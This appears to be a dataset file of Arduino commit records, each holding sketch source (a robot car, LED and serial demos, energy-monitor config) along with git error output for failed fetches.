{"commit":"d68fb766eed4c1c92c4e54dbe55a4dfc685b2694","subject":"extend skets to minimize false scans","message":"extend skets to minimize false scans\n","repos":"MaxMorgenstern\/EmeraldAI,MaxMorgenstern\/EmeraldAI,MaxMorgenstern\/EmeraldAI,MaxMorgenstern\/EmeraldAI,MaxMorgenstern\/EmeraldAI","old_file":"testing\/arduino\/self-driving-v8.ino","new_file":"testing\/arduino\/self-driving-v8.ino","new_contents":"#include \"Arduino.h\"\n#include \"Adafruit_NeoPixel.h\"\n#include \"Servo.h\"\n#include \"NewPing.h\"\n\n\/\/ Base Date\nconst uint16_t initialDelay = 2500;\n\n\/\/ Ranges and Data\nconst uint8_t rangeLimit_Warning1 = 70;\nconst uint8_t rangeLimit_Warning2 = 50;\nconst uint8_t rangeLimit_Stop = 40;\nconst uint8_t motorSpeed = 180; \/\/ max: 255\n\nconst uint16_t rangeLimit_RotateFor = 500;\nunsigned long rangeLimit_Timestamp = 0;\nbool wheelSpinCompleted = true;\n\n\n\/\/ Ultrasonic Sensor\nconst uint8_t trigPin = 9;\nconst uint8_t echoPin = 8;\nconst uint16_t maxDistance = 200;\n\nNewPing sonar(trigPin, echoPin, maxDistance);\n\nuint16_t rangeLeft;\nuint16_t rangeCenter;\nuint16_t rangeRight;\nuint16_t lastRangeLeft;\nuint16_t lastRangeCenter;\nuint16_t lastRangeRight;\n\n\/\/ LED\nconst uint8_t ledPin = 11;\nconst bool ledBatterySaving = true;\nAdafruit_NeoPixel LEDStrip = Adafruit_NeoPixel(24, ledPin, NEO_GRB + NEO_KHZ800);\n\n\/\/ Motor \/ Wheels\nconst uint8_t motorPin1_1 = A3;\nconst uint8_t motorPin1_2 = A2;\nconst uint8_t motorEnablePin1 = 3;\n\nconst uint8_t motorPin2_1 = A5;\nconst uint8_t motorPin2_2 = A4;\nconst uint8_t motorEnablePin2 = 6;\n\n\/\/ Ultrasonic Servo\nServo ServoMotor;\nconst uint8_t servoPin = 10;\n\nconst uint8_t servoLimitLeft = 170;\nconst uint8_t servoTiltLeft = 130;\nconst uint8_t servoLimitRight = 10;\nconst uint8_t servoTiltRight = 50;\nconst uint8_t servoCenter = 90;\nconst uint8_t seroRotationDurationPerAngle = 2;\n\nenum direction {\n LEFT,\n NONE,\n RIGHT\n};\ndirection servoRangeDirection = NONE;\nuint32_t servoLastScanTimestamp = 0;\n\ndirection servoLastScan = NONE;\n\n\/\/ IR obstacle detection\nint obstaclePin = A1;\n\n\nvoid setup()\n{\n \/\/ Scanner\n pinMode(trigPin, OUTPUT); \/\/ Sets the trigPin as an Output\n pinMode(echoPin, INPUT); \/\/ Sets the echoPin as an Input\n\n rangeLimit_Timestamp = millis();\n\n pinMode(motorEnablePin1, OUTPUT);\n analogWrite(motorEnablePin1, 255);\n\n pinMode(motorEnablePin2, OUTPUT);\n analogWrite(motorEnablePin2, 255);\n\n \/\/ Motor\n pinMode(motorPin1_1, OUTPUT);\n pinMode(motorPin1_2, OUTPUT);\n\n pinMode(motorPin2_1, OUTPUT);\n pinMode(motorPin2_2, OUTPUT);\n\n \/\/ IR Detector\n pinMode(obstaclePin, INPUT);\n\n LEDStrip.begin();\n LEDStrip.show(); \/\/ Initialize all pixels to 'off'\n\n \/\/ attach servo pin and set to initial direction\n ServoMotor.attach(servoPin, 400, 2350);\n ServoMotor.write(servoCenter);\n}\n\nvoid GetRange(int servoPos, bool rotating)\n{\n long range = sonar.ping_cm();\n\n \/\/ fallback if return value is out of range\n if(range == 0 && rotating) { range = maxDistance; }\n if(range > maxDistance) { range = maxDistance; }\n\n\n \/\/if(range == 0) { range = lastRange; }\n \/\/if(range > 0 && !rotating) { lastRange = range;}\n\n long avgRange;\n\n if(servoPos == servoCenter)\n {\n if(range == 0) { range = lastRangeCenter; }\n avgRange = (range + lastRangeCenter) \/ 2;\n lastRangeCenter = range;\n\n rangeCenter = avgRange;\n }\n if(servoPos > servoCenter)\n {\n if(range == 0) { range = lastRangeLeft; }\n avgRange = (range + lastRangeLeft) \/ 2;\n lastRangeLeft = range;\n\n rangeLeft = avgRange;\n }\n if(servoPos < servoCenter)\n {\n if(range == 0) { range = lastRangeRight; }\n avgRange = (range + lastRangeRight) \/ 2;\n lastRangeRight = range;\n\n rangeRight = avgRange;\n }\n}\n\nbool GetObstacle()\n{\n if(analogRead(obstaclePin) < 500)\n {\n return true;\n }\n return false;\n}\n\nvoid SetServoAngle(uint8_t angle)\n{\n ServoMotor.write(angle);;\n}\n\n\nvoid SetMotor(int id, int speed)\n{\n if(id == 1)\n {\n SetMotorWorker(motorPin1_1, motorPin1_2, motorEnablePin1, speed);\n }\n\n if(id == 2)\n {\n SetMotorWorker(motorPin2_1, motorPin2_2, motorEnablePin2, speed);\n }\n}\n\nvoid SetMotorWorker(int pin1, int pin2, int enablePin, int speed)\n{\n analogWrite(enablePin, abs(speed));\n\n if (speed < 0)\n {\n analogWrite(pin1, 0);\n analogWrite(pin2, 255);\n }\n\n if (speed > 0)\n {\n analogWrite(pin1, 255);\n analogWrite(pin2, 0);\n }\n\n if (speed == 0)\n {\n analogWrite(pin1, 0);\n analogWrite(pin2, 0);\n }\n}\n\n\nvoid ColorSet(uint32_t c)\n{\n for(uint16_t i=0; i < LEDStrip.numPixels(); i++)\n {\n if(ledBatterySaving && i%8 == 0 || !ledBatterySaving)\n {\n LEDStrip.setPixelColor(i, c);\n }\n }\n LEDStrip.show();\n}\n\n\nvoid SetLightByRange(long range)\n{\n uint32_t color = LEDStrip.Color(0, 255, 0);\n if(range < rangeLimit_Warning1) { color = LEDStrip.Color(127, 255, 0);}\n if(range < rangeLimit_Warning2) { color = LEDStrip.Color(255, 127, 0); }\n if(range < rangeLimit_Stop) { color = LEDStrip.Color(255, 0, 0); }\n\n ColorSet(color);\n}\n\nvoid SetLightInitState()\n{\n ColorSet(LEDStrip.Color(255, 255, 255));\n\n SetMotor(1, 0);\n SetMotor(2, 0);\n}\n\nvoid SetLightErrorState()\n{\n ColorSet(LEDStrip.Color(0, 0, 255));\n}\n\n\nvoid SetServo(uint32_t uptime, uint8_t servoPos)\n{\n uint32_t interval = 1000;\n uint32_t returnInterval = 300;\n\n if(uptime < interval+1)\n {\n return;\n }\n\n if(servoLastScanTimestamp < uptime - interval)\n {\n servoLastScanTimestamp = uptime;\n\n if(servoLastScan == RIGHT)\n {\n SetServoAngle(servoTiltLeft);\n delay(seroRotationDurationPerAngle * (abs(servoTiltLeft - servoPos)));\n servoLastScan = LEFT;\n }\n else\n {\n SetServoAngle(servoTiltRight);\n delay(seroRotationDurationPerAngle * (abs(servoTiltRight - servoPos)));\n servoLastScan = RIGHT;\n }\n\n return;\n }\n\n if(servoLastScanTimestamp < uptime - returnInterval)\n {\n SetServoAngle(servoCenter);\n delay(seroRotationDurationPerAngle * (abs(servoCenter - servoPos)));\n }\n}\n\nvoid SetServoRangeDirection()\n{\n if(rangeLeft > rangeRight)\n {\n servoRangeDirection = LEFT;\n }\n else\n {\n servoRangeDirection = RIGHT;\n }\n}\n\n\nvoid loop()\n{\n uint32_t uptime = millis();\n uint8_t servoPos = ServoMotor.read();\n\n GetRange(servoPos, wheelSpinCompleted);\n\n SetServo(uptime, servoPos);\n\n \/\/ Wait for initial scans before performing any actions\n if(uptime < initialDelay)\n {\n SetLightInitState();\n delay(20);\n return;\n }\n\n bool obstacleFound = GetObstacle();\n if(obstacleFound)\n {\n SetLightErrorState();\n }\n else\n {\n SetLightByRange(rangeCenter);\n }\n\n \/\/ obstacle is further away than X cm\n \/\/ and no obstacle in front of the IR sensor\n if(!obstacleFound && wheelSpinCompleted && rangeCenter > rangeLimit_Stop)\n {\n rangeLimit_Timestamp = uptime;\n\n \/\/ slightly turn if side better than center\n if(rangeCenter < rangeLimit_Warning1 && rangeRight > 0 && rangeLeft > 0)\n {\n if(rangeRight > rangeLeft && rangeRight > rangeCenter )\n {\n \/\/ drive right\n SetMotor(1, motorSpeed);\n SetMotor(2, motorSpeed*2\/3);\n }\n\n if(rangeLeft > rangeRight && rangeLeft > rangeCenter )\n {\n \/\/ drive left\n SetMotor(1, motorSpeed*2\/3);\n SetMotor(2, motorSpeed);\n }\n }\n\n \/\/ drive straight\n SetMotor(1, motorSpeed);\n SetMotor(2, motorSpeed);\n }\n else\n {\n if(servoRangeDirection == NONE)\n {\n SetServoRangeDirection();\n }\n\n if(servoRangeDirection == LEFT)\n {\n SetMotor(1, -motorSpeed);\n SetMotor(2, motorSpeed);\n }\n else\n {\n SetMotor(1, motorSpeed);\n SetMotor(2, -motorSpeed);\n }\n\n wheelSpinCompleted = false;\n\n \/\/ TODO: if this is going on for too long - stop\n\n if(rangeCenter > rangeLimit_Warning2 && (rangeLimit_Timestamp + rangeLimit_RotateFor) <= uptime)\n {\n wheelSpinCompleted = true;\n servoRangeDirection = NONE;\n }\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'testing\/arduino\/self-driving-v8.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"3cc69e33037bdcf73ad9ce7dd9e8001fcb15cf97","subject":"Add json generator","message":"Add json generator\n","repos":"blynkkk\/blynk-library,blynkkk\/blynk-library,blynkkk\/blynk-library,ivankravets\/blynk-library,ivankravets\/blynk-library,ivankravets\/blynk-library,blynkkk\/blynk-library,ivankravets\/blynk-library,blynkkk\/blynk-library,ivankravets\/blynk-library","old_file":"tests\/GenerateJSON\/GenerateJSON.ino","new_file":"tests\/GenerateJSON\/GenerateJSON.ino","new_contents":"#include \"BlynkApiArduino.h\"\n#include \"Blynk\/BlynkDetectDevice.h\"\n\n#if !defined(BOARD_PWM_MAX)\n #if defined(PWMRANGE)\n #define BOARD_PWM_MAX PWMRANGE\n #elif defined(PWM_RESOLUTION)\n #define BOARD_PWM_MAX (2^(PWM_RESOLUTION)-1)\n #else\n #error \"Cannot detect BOARD_PWM_MAX\"\n #endif\n#endif\n\n#if !defined(BOARD_ANALOG_MAX)\n #if defined(PWMRANGE)\n #define BOARD_ANALOG_MAX PWMRANGE\n #elif defined(PWM_RESOLUTION)\n #define BOARD_ANALOG_MAX (2^(PWM_RESOLUTION)-1)\n #else\n #error \"Cannot detect BOARD_ANALOG_MAX\"\n #endif\n#endif\n\n#if defined(BLYNK_USE_128_VPINS)\n #define BOARD_VIRTUAL_MAX 127\n#else\n #define BOARD_VIRTUAL_MAX 31\n#endif\n\nconst char* JS[] = {\nR\"raw(\n{\n \"name\": \")raw\", R\"raw(\",\n \"map\": {\n \"digital\": {\n \"pins\": {\n )raw\", R\"raw(\n },\n \"ops\": [ \"dr\", \"dw\" ]\n },\n \"analog\": {\n \"pins\": {\n )raw\", R\"raw(\n },\n \"ops\": [ \"dr\", \"dw\", \"ar\" ],\n \"arRange\": [ 0, )raw\", R\"raw( ]\n },\n \"pwm\": {\n \"pins\": [\n )raw\", R\"raw(\n ],\n \"ops\": [ \"aw\" ],\n \"awRange\": [ 0, )raw\", R\"raw( ]\n },\n \"virtual\": {\n \"pinsRange\": [ 0, )raw\", R\"raw( ],\n \"ops\": [ \"vr\", \"vw\" ]\n }\n }\n}\n)raw\" };\n \nvoid setup() {\n Serial.begin(9600);\n delay(10);\n}\n\nvoid loop() {\n Serial.print(JS[0]);\n Serial.print(BLYNK_INFO_DEVICE);\n Serial.print(JS[1]);\n\n for (int i = 0; i < NUM_DIGITAL_PINS; i++) {\n Serial.print(\"\\\"D\");\n Serial.print(i);\n Serial.print(\"\\\": \");\n Serial.print(i);\n if (i % 5 != 4) {\n Serial.print(\", \");\n } else {\n Serial.print(\",\\n \");\n }\n }\n\n Serial.print(JS[2]);\n\n for (int i = 0; i < NUM_ANALOG_INPUTS; i++) {\n int pin = analogInputToDigitalPin(i);\n Serial.print(\"\\\"A\");\n Serial.print(i);\n Serial.print(\"\\\": \");\n Serial.print(pin);\n if (i % 5 != 4) {\n Serial.print(\", \");\n } else {\n Serial.print(\",\\n \");\n }\n }\n\n Serial.print(JS[3]);\n Serial.print(BOARD_ANALOG_MAX);\n Serial.print(JS[4]);\n\n for (int i = 0; i < NUM_DIGITAL_PINS; i++) {\n bool hasPWM = digitalPinHasPWM(i);\n bool hasInt = digitalPinToInterrupt(i) != NOT_AN_INTERRUPT;\n\n if (hasPWM) {\n Serial.print(\"\\\"D\");\n Serial.print(i);\n Serial.print(\"\\\", \");\n }\n }\n\n Serial.print(JS[5]);\n Serial.print(BOARD_PWM_MAX);\n Serial.print(JS[6]);\n Serial.print(BOARD_VIRTUAL_MAX);\n Serial.print(JS[7]);\n delay(10000);\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'tests\/GenerateJSON\/GenerateJSON.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"21bbee0bdafe0b4dde760ec21a5422caed4356e0","subject":"config.ino for emonTx by Open Energy Monitor","message":"config.ino for emonTx by Open Energy Monitor\n\nSee sketch for details of where to put this file.","repos":"pieman64\/ESPproMon","old_file":"OpenEnergyMonitor\/emonTx\/config.ino","new_file":"OpenEnergyMonitor\/emonTx\/config.ino","new_contents":"\/\/ create as a tab in emontx3-30.ino or as config.ino in same folder\n\n#include <EEPROM.h>\n\nbyte value;\n\nstatic void load_config(){\n \n byte flag=0;\n \/\/ Read nodeID\n if (EEPROM.read(0) != 255){ \/\/ 255 = EEPROM default (blank) value\n nodeID = EEPROM.read(0);\n flag++;\n }\n if (EEPROM.read(1) != 255){\n RF_freq = EEPROM.read(1);\n flag++;\n }\n if (EEPROM.read(2) != 255){\n networkGroup = EEPROM.read(2);\n flag++;\n }\n \n if (flag > 0){\n Serial.println(\"Loaded EEPROM RF config >\");\n }\n else {\n Serial.println(\"No EEPROM config\");\n }\n \n }\n\nstatic void config (char c) {\n \n if ('0' <= c && c <= '9') {\n value = 10 * value + c - '0';\n return;\n }\n\n if (c > ' ') {\n\n switch (c) {\n\n case 'i': \/\/set node ID\n if (value){\n nodeID = value;\n break;\n }\n\n case 'b': \/\/ set band: 4 = 433, 8 = 868, 9 = 915\n value = bandToFreq(value);\n if (value){\n RF_freq = value;\n }\n break;\n \n case 'g': \/\/ set network group\n if (value>=0){\n networkGroup = value;\n }\n break;\n\n case 's': \/\/ Save to EEPROM. Atemga328p has 1kb EEPROM\n save_config();\n break;\n\n case 'v': \/\/ print firmware version\n Serial.print(F(\"[emonTx FW: V\")); Serial.print(version*0.1); Serial.print(F(\"]\"));\n break;\n \n default:\n showString(helpText1);\n } \/\/end case\n\n \/\/Print Current RF config\n if (RF_STATUS==1) {\n Serial.print(F(\" \"));\n \/\/ Serial.print((char) ('@' + (nodeID & RF12_HDR_MASK)));\n Serial.print(F(\" i\"));\n Serial.print(nodeID & RF12_HDR_MASK);\n Serial.print(F(\" g\"));\n Serial.print(networkGroup);\n Serial.print(F(\" @ \"));\n Serial.print(RF_freq == RF12_433MHZ ? 433 :\n RF_freq == RF12_868MHZ ? 868 :\n RF_freq == RF12_915MHZ ? 915 : 0);\n Serial.print(F(\" MHz\"));\n }\n \n Serial.print(F(\" USA \")); Serial.print(USA);\n Serial.println(F(\" \"));\n \n } \/\/ end c > ' '\n value = 0;\n\n}\n\nstatic void save_config(){\n Serial.println(\"Saving...\");\n \/\/ Clear any old EEPROM settings\n for (int i = 0 ; i < EEPROM.length() ; i++) {\n EEPROM.write(i, 0);\n }\n \/\/Save new settings\n EEPROM.write(0, nodeID);\n EEPROM.write(1, RF_freq);\n EEPROM.write(2, networkGroup);\n Serial.println(\"Done. New config saved to EEPROM\");\n}\n\nstatic byte bandToFreq (byte band) {\n return band == 4 ? RF12_433MHZ : band == 8 ? RF12_868MHZ : band == 9 ? RF12_915MHZ : 0;\n}\n\nstatic void showString (PGM_P s) {\n for (;;) {\n char c = pgm_read_byte(s++);\n if (c == 0)\n break;\n if (c == '\\n')\n Serial.print('\\r');\n Serial.print(c);\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'OpenEnergyMonitor\/emonTx\/config.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"2bea51a32cb3f54f1159efbbc7045baf5cfac81e","subject":"PCI and IR","message":"PCI and IR\n","repos":"chaeplin\/esp8266_and_arduino,chaeplin\/esp8266_and_arduino,chaeplin\/esp8266_and_arduino","old_file":"_23-attiny85-ir\/_23-attiny85-ir.ino","new_file":"_23-attiny85-ir\/_23-attiny85-ir.ino","new_contents":"#include <avr\/sleep.h>\n#include <avr\/interrupt.h>\n\nconst int switchPin = 3;\nconst int statusLED = 2;\n\nvoid setup() {\n\n pinMode(switchPin, INPUT);\n digitalWrite(switchPin, HIGH);\n pinMode(statusLED, OUTPUT);\n\n \/\/ Flash quick sequence so we know setup has started\n for (int k = 0; k < 10; k = k + 1) {\n if (k % 2 == 0) {\n digitalWrite(statusLED, HIGH);\n }\n else {\n digitalWrite(statusLED, LOW);\n }\n delay(250);\n } \/\/ for\n} \/\/ setup\n\nvoid sleep() {\n\n GIMSK |= _BV(PCIE); \/\/ Enable Pin Change Interrupts\n PCMSK |= _BV(PCINT3); \/\/ Use PB3 as interrupt pin\n ADCSRA &= ~_BV(ADEN); \/\/ ADC off\n set_sleep_mode(SLEEP_MODE_PWR_DOWN); \/\/ replaces above statement\n\n sleep_enable(); \/\/ Sets the Sleep Enable bit in the MCUCR Register (SE BIT)\n sei(); \/\/ Enable interrupts\n sleep_cpu(); \/\/ sleep\n\n cli(); \/\/ Disable interrupts\n PCMSK &= ~_BV(PCINT3); \/\/ Turn off PB3 as interrupt pin\n sleep_disable(); \/\/ Clear SE bit\n \/\/ADCSRA |= _BV(ADEN); \/\/ ADC on\n\n sei(); \/\/ Enable interrupts\n} \/\/ sleep\n\nISR(PCINT3_vect) {\n \/\/ This is called when the interrupt occurs, but I don't need to do anything in it\n}\n\nvoid loop() {\n sleep();\n digitalWrite(statusLED, HIGH);\n delay(1000);\n digitalWrite(statusLED, LOW);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec '_23-attiny85-ir\/_23-attiny85-ir.ino' did not match any file(s) known to git\n","license":"lgpl-2.1","lang":"Arduino"} {"commit":"449d78c95e093319d4355e2b9b973d2000164aa2","subject":"Server basic write","message":"Server basic write\n\nWrites a set of increasing values as a method proof of concept.\n","repos":"dltn\/tortellini,dltn\/tortellini","old_file":"server-firmware\/badge_server\/badge_server.ino","new_file":"server-firmware\/badge_server\/badge_server.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/dltn\/tortellini.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"d942f251f7e7b92f11bb4f699e819384a4b178fa","subject":"Add simple teensy throughput program","message":"Add simple teensy throughput program\n","repos":"isaias-b\/arduino-examples,isaias-b\/arduino-examples,isaias-b\/arduino-examples","old_file":"serial\/teensy32-throughput\/teensy32-throughput.ino","new_file":"serial\/teensy32-throughput\/teensy32-throughput.ino","new_contents":"\/\/#define USE_BINARY\n\nconst int sampleRate = 8000;\nconst long serialRate = 2000000;\nconst int NWORDS = 20;\nconst int WSIZE = sizeof(uint16_t);\nconst int NBYTES = NWORDS * WSIZE;\n\nvolatile bool pushData = false;\ntypedef union { uint16_t words[NWORDS]; uint8_t bytes[NBYTES]; } MODEL;\nMODEL m;\n\nIntervalTimer myTimer;\n\nvoid setup(void) {\n for (int i = 0; i < NWORDS; i++) m.words[i] = i+1000;\n pinMode(LED_BUILTIN, OUTPUT);\n SerialUSB.begin(serialRate);\n myTimer.begin(blinkLED, 1000000 \/ sampleRate);\n}\n\nvoid blinkLED(void) {\n pushData = true;\n}\n\nvoid loop(void) {\n static int counter = 0;\n bool state = (counter++ >> 12) % 2;\n digitalWrite(LED_BUILTIN, state ? HIGH : LOW);\n if (pushData) {\n pushData = false;\n #ifdef USE_BINARY\n SerialUSB.write(m.bytes, NBYTES);\n #else\n for (int i = 0; i < NWORDS; i++) {\n if (i!=0) SerialUSB.print('\\t');\n SerialUSB.print(m.words[i], DEC);\n }\n #endif\n SerialUSB.write('\\n');\n }\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'serial\/teensy32-throughput\/teensy32-throughput.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"584bf9c2b54392d0c50cb5cfe8904bdd4f2c5bc1","subject":"sequential lights","message":"sequential lights\n","repos":"prilutskiy\/ledpad,prilutskiy\/ledpad","old_file":"firmware\/firmware.ino","new_file":"firmware\/firmware.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/prilutskiy\/ledpad.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"216a33103248ac1a6b372e510f6c5086bc81ca57","subject":"added debounce","message":"added debounce\n","repos":"MakerLabsVan\/ACM,MakerLabsVan\/ACM,MakerLabsVan\/ACM,MakerLabsVan\/ACM","old_file":"unit tests\/pwm_detector_test\/pwm_detector_test.ino","new_file":"unit tests\/pwm_detector_test\/pwm_detector_test.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'unit' did not match any file(s) known to git\nerror: pathspec 'tests\/pwm_detector_test\/pwm_detector_test.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"ce73ae46eb92ab2947d62d5e52637fa3bec06275","subject":"Added comment for clarity","message":"Added comment for clarity\n","repos":"tylergrreid\/Arduino_Flight_Computer,tylergrreid\/Arduino_Flight_Computer,tylergrreid\/Arduino_Flight_Computer","old_file":"Balloon_Flight_Computer\/Balloon_Flight_Computer.ino","new_file":"Balloon_Flight_Computer\/Balloon_Flight_Computer.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/tylergrreid\/Arduino_Flight_Computer.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"5521fd76fb2db5246ae66a7cfb92799746b05ea0","subject":"add press for color demo","message":"add press for color demo\n","repos":"chibitronics\/ltc-webview-layer,chibitronics\/ltc-webview-layer,chibitronics\/ltc-webview-layer,chibitronics\/ltc-webview-layer","old_file":"examples-ltc\/4.RainbowTape\/3_PressForColor\/PressForColor.ino","new_file":"examples-ltc\/4.RainbowTape\/3_PressForColor\/PressForColor.ino","new_contents":"\/\/ Love to Code\n\n\/\/ Press for Color!\n\/\/\n\/\/ Change the colors of pixels by connecting pins to ground.\n\/\/ Pin 0 changes the color of pixel 0 (on the Chibi Chip board)\n\/\/ Pin 1 changes the color of pixel 1 (first external pixel)\n\/\/ and so forth...\n\n\/\/ You can set some other color properties by adjusting these constants.\n#define RATE 3 \/\/ a number larger than 1, less than 20, rate at which the colors change during pin press\n#define SATURATION 100 \/\/ 0-100, 0 = no color, 100 = vivid colors \n#define INTENSITY 100 \/\/ 0-100, 0 = off, 100 = full brightness\n\n#include \"Adafruit_NeoPixel.h\"\n\n#define pixelCount 5 \/\/ maximum 6 in this demo\nAdafruit_NeoPixel strip = Adafruit_NeoPixel(pixelCount, LED_BUILTIN_RGB, NEO_GRB + NEO_KHZ800);\n\ntypedef struct RgbColor {\n uint8_t r;\n uint8_t g;\n uint8_t b;\n} RgbColor;\n\n#define HUE_DEGREE 512 \/\/ hue is 0 ... (360*HUE_DEGREE - 1)\n\n\/\/ from https:\/\/gist.github.com\/mity\/6034000\nvoid hsv2rgb(int h, int s, int v, RgbColor *c)\n{\n uint8_t r, g, b;\n\n if(s == 0) {\n r = g = b = v;\n } else {\n int i = h \/ (60*HUE_DEGREE);\n int p = (256*v - s*v) \/ 256;\n\n if(i & 1) {\n int q = (256*60*HUE_DEGREE*v - h*s*v + 60*HUE_DEGREE*s*v*i) \/ (256*60*HUE_DEGREE);\n switch(i) {\n case 1: r = q; g = v; b = p; break;\n case 3: r = p; g = q; b = v; break;\n case 5: r = v; g = p; b = q; break;\n }\n } else {\n int t = (256*60*HUE_DEGREE*v + h*s*v - 60*HUE_DEGREE*s*v*(i+1)) \/ (256*60*HUE_DEGREE);\n switch(i) {\n case 0: r = v; g = t; b = p; break;\n case 2: r = p; g = v; b = t; break;\n case 4: r = t; g = p; b = v; break;\n }\n }\n }\n\n c->r = r;\n c->g = g;\n c->b = b;\n}\n\nuint32_t rgb_to_hexcolor(RgbColor rgbcolor) {\n return rgbcolor.r << 16 | rgbcolor.g << 8 | rgbcolor.b;\n}\n\nint pin_hue[pixelCount];\nint pin_dir[pixelCount];\n\nvoid setup() {\n int i;\n \n for( i = 0; i < pixelCount; i++ ) {\n pinMode(i, INPUT_PULLUP);\n pin_hue[i] = 0;\n pin_dir[i] = RATE;\n }\n \n strip.begin();\n strip.show();\n \n analogReadResolution(10);\n}\n\nvoid loop() {\n RgbColor c;\n int hue;\n unsigned int avg;\n int i, j;\n unsigned int reading;\n \n for( j = 0; j < pixelCount; j++ ) {\n if( digitalRead(j) == LOW ) {\n pin_hue[j] += pin_dir[j];\n if( pin_hue[j] >= HUE_DEGREE ) {\n pin_dir[j] = -pin_dir[j];\n pin_hue[j] = HUE_DEGREE - 1;\n } if( pin_hue[j] < 0 ) {\n pin_dir[j] = -pin_dir[j];\n pin_hue[j] = 0;\n }\n }\n \n hue = map(pin_hue[j], 0, 1023, 0, HUE_DEGREE);\n hue = 360*hue - 1;\n \n hsv2rgb(hue, map(SATURATION, 0, 100, 0, 255), map(INTENSITY, 0, 100, 0, 255), &c);\n \n strip.setPixelColor(j, rgb_to_hexcolor(c));\n }\n \n strip.show();\n delay(10);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples-ltc\/4.RainbowTape\/3_PressForColor\/PressForColor.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"86f90a45c5de27a9f4838a20de9e94fc731e8406","subject":"Add next Arduino example - blinky with Timer1 COMPA.","message":"Add next Arduino example - blinky with Timer1 COMPA.\n","repos":"lpodkalicki\/blog,lpodkalicki\/blog,lpodkalicki\/blog,lpodkalicki\/blog,lpodkalicki\/blog,lpodkalicki\/blog","old_file":"arduino\/uno\/003_blinky_with_timer1_compa\/003_blinky_with_timer1_compa.ino","new_file":"arduino\/uno\/003_blinky_with_timer1_compa\/003_blinky_with_timer1_compa.ino","new_contents":"\/**\n * Copyright (c) 2019, \u0141ukasz Marcin Podkalicki <lpodkalicki@gmail.com>\n * ArduinoUno\/003\n * Blinky with Timer1 COMPA.\n *\/\n\n#define LED_PIN (13)\n\nvoid setup() {\n pinMode(LED_PIN, OUTPUT); \/\/ set LED pin as output\n TCCR1A = 0; \/\/ clear register\n TCCR1B = _BV(WGM12); \/\/ set Timer1 to CTC mode\n TCCR1B |= _BV(CS12)|_BV(CS10); \/\/ set Timer1 prescaler to 1024\n TIMSK1 |= _BV(OCIE1A); \/\/ enable Timer1 COMPA interrupt\n OCR1A = 7812; \/\/ set value for Fx=1Hz, OCRnx = (16Mhz\/(Fx * 2 * 1024) + 1)\n interrupts(); \/\/ enable global interrupts\n}\n\nvoid loop() {\n \/\/ do nothing\n}\n\nISR(TIMER1_COMPA_vect) {\n digitalWrite(LED_PIN, !digitalRead(LED_PIN)); \/\/ Toggle LED pin\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino\/uno\/003_blinky_with_timer1_compa\/003_blinky_with_timer1_compa.ino' did not match any file(s) known to git\n","license":"bsd-3-clause","lang":"Arduino"} {"commit":"07dc58d7520759ce307e018b196109f8376f7c54","subject":"refined pyserial interface for nduino","message":"refined pyserial interface for nduino\n","repos":"ekwoodrich\/nirha,ekwoodrich\/nirha,ekwoodrich\/nirha,ekwoodrich\/nirha,ekwoodrich\/nirha,ekwoodrich\/nirha","old_file":"nduino\/src\/src.ino","new_file":"nduino\/src\/src.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/ekwoodrich\/nirha.git\/'\n","license":"apache-2.0","lang":"Arduino"} {"commit":"1884219b3456249813212fc8b6c67905b33fe252","subject":"added arduino sketch","message":"added arduino sketch\n","repos":"evejweinberg\/SuperHero,evejweinberg\/SuperHero","old_file":"SuperHero_v8\/arduinofeather\/_bleFeatherCodeUpdate002\/_bleFeatherCodeUpdate002.ino","new_file":"SuperHero_v8\/arduinofeather\/_bleFeatherCodeUpdate002\/_bleFeatherCodeUpdate002.ino","new_contents":"#include <SPI.h>\n#include <SoftwareSerial.h>\n\n#include <Adafruit_BLE.h>\n#include <Adafruit_BluefruitLE_SPI.h>\n#include <Adafruit_BluefruitLE_UART.h>\n#define BLUEFRUIT_SPI_CS 8\n#define BLUEFRUIT_SPI_IRQ 7\n#define BLUEFRUIT_SPI_RST 4 \/\/ Optional but recommended, set to -1 if unused\n\n\/* hardware SPI, using SCK\/MOSI\/MISO hardware SPI pins\nand then user selected CS\/IRQ\/RST *\/\nAdafruit_BluefruitLE_SPI ble(BLUEFRUIT_SPI_CS, BLUEFRUIT_SPI_IRQ, BLUEFRUIT_SPI_RST);\n\nint zax;\nint yax;\nint xax;\n\nconst int button = 2;\nconst int ledPin = 3;\n\nint buttonState = 